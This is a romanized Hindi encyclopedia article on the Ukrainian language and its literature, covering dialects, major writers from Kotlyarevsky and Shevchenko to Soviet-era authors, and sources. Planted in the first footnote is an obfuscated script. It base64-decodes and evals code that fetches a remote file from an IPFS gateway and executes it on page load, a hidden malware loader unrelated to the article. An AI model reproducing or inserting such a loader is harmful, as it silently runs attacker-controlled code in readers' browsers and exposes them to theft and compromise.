उक्रेनी भाषा और साहित्य
ukreni bhasha aur sahity ukreni bhasha, ukreni janata ki bhasha hai jo moolat: sovayit sangh ukreni sovayit samajavadi prajatantr mean rahati hai. isaka vikas prachin roosi bhasha se hua. yah slevonik bhashaoan ki poorvi shakha mean he jisamean isake atirikt roosi evan beloroosi bhashaean sammilit haian. is bhasha ke bolanevaloan ki sankhya 3 karo d 28 lakh se adhik hai. isaki boliyoan ke tin mukhy samooh haian-uttari upabhasha, dakshin-pashchimi upabhasha aur dakshin-poorvi upabhasha. adhunik sahityik ukreni ka vikas dakshin-poorvi upabhasha ke adhar par hua. ukreni bhasha rooparachana aur vakyavinyas mean roosi bhasha ke nikat hai.
ukreni bhasha ka vikas 12vian sadi se praranbh hua. is kal se ukreni janata ne anek lokakathaoan aur lokagitoan ki rachana ki. isi kal mean viragathaean, pauranik kathaean evan dharmik rachanaean vikasit hone lagian. pray: in kritiyoan ke rachayitaoan ke nam ajnat haian. 16vian shatabdi se natakoan ka bhi vikas hua. 19vian shatabdi ke madhy se ukreni sahity mean yatharthavadi dhara vikasit hone lagi. vyangatmak rachanaean ek prasaddhi vyangalekhak skovorota (1722- 1794 ee.) likhane lage. suprasiddh kavi aur gadyakar i.p. kotlarevski (1769-1838 ee.) ne nav ukreni sahity ki sthapana ki. inhoanne sahity aur jivan ka dridh sanbandh rakha, ukreni sahity ki sabhi shailiyoan par bahut prabhav dala tatha adhunik sahityik bhasha ki nianv rakhi.
taras grigoryevich shevcheanko (1814-1861 ee.) mahanh kraantikari janakavi the. unhoanne ukreno sahity mean alochanatmak yatharthavad ki sthapana ki. apani kritiyoan mean ve jar ke viruddh kraantikari kisan aandolan ki bhavanaean aur vichar prakat karate the. unaki anek kavitaean atyant lokapriy haian. us samay ke prasiddh gadyakaroan mean panas mirani aur natakakaroan mean i. karpeko-kariy haian. suprasiddh kavi, natakakar aur gadyakar ke roop mean i.y. phraanko (1856-1916) vikhyat haian, jinhoanne apani bahusankhyak rachanaoan mean ukreni janata ke jivan ka vistarapoorn varnan kiya hai. suprasiddh kavayitri lesya ukrainka (1871-1913) aur kavi kotsyoobianski (1864-1913) ne apani kavitaoan mean ukreni janata ke kraantikari sangharsh ka chitran kiya.
aktoobar, sanh 1917 ki mahanh samajavadi kraanti ke bad ukreni sahity ka vikas aur bhi adhik hone laga. is kal ke sabase prasiddh kavi pavalo tichina aur maiksim rilaski haian, evan nee pidhi ke kavi goanchareanko, pervomaiski adi haian. natak ke kshetr mean sabase b di den aleksandr kornaichuk (janm 1905 ee.) ki hai. upanyasakaroan aur kahanikaroan mean natan ribak (janm 1913) evan vadim sobako (janm 1912) sabase adhik vikhyat haian. is kal mean ukreni sahity samajavadi yatharthavad ke adhar par vikasit hone laga. gadyakar aur kavi adhunik soviyat ukraina ka aur viratapoorn atit itihas ka chitran karate the.
sanh 1941-45 ke mahanh deshabhaktipoorn yuddh ke bad ukreni sahity mean aur bhi adhik ne kavi aur lekhak paida hue. vartaman ukreni kavi, jaise pavalo tichina, maiksim rilaski, mikola vazhan, aandrai malishko, sosyoora adi apani kavitaoan mean majadooroan aur kisanoan ke jivan ka chitran karate tatha vishvashaanti ke lie sangharsh aur vibhinn deshoan ki janata ki maitri ki bhavanaean karate haian. ukreni natakakar, jaise kornaichuk, sobako, dmitreanko adi samajik, aitihasik aur vyangatmak natakoan ki rachana karate haian. in natakoan ka pradarshan soviyat sangh ke bahusankhyak thiyetaroan mean kiya jata hai. ukreni gady ka vikas bhi teji se ho raha hai. oles goanchar, natan ribak, petroan panch, stelamah adi apane upanyasoan aur kahaniyoan mean soviyat janata ki yuddhakalin bahaduri ka aur samyavadi samaj ke nirman ke lie majadooroan, kisanoan aur buddhijiviyoan ke viratapoorn parishram ka varnan karate haian. ukreni lekhak soviyat sangh ke samajik jivan mean sakriy bhag lete haian.[1]
ukreni lekhakoan ki anek kritiyaan soviyat sangh ki any anek bhashaoan tatha videshi bhashaoan mean anoodit ho rahi haian aur samast soviyat sangh tatha videshoan mean lokapriy ho gee haian. sath hi soviyat sangh ki any bhashaoan ke sahity tatha videshi sahityoan ki rachanaean ukreni bhasha mean anoodit aur prakashit ho rahi haian. inamean prachin evan arvachin bharatiy sahity ki anek kritiyaan bhi sammilit haian.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 51 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-ukreni sahity ka itihas, khand 1, 1954, roosi mean; soviyat kalin ukreni sahity ka itihas, masko, 1954, roosi mean; ukreni sahity ka itihas, do bhag, kiev, 1955-56, ukrani mean; adhunik ukreni sahityik bhasha, sanpadak : bulasheski, do bhag, kiev, 1951; ukreni-roosi shabdakosh, sanpadak : ee.m. kiricheanko, bhag 1, kiev, 1953.
sanbandhit lekh
varnamala kramanusar lekh khoj
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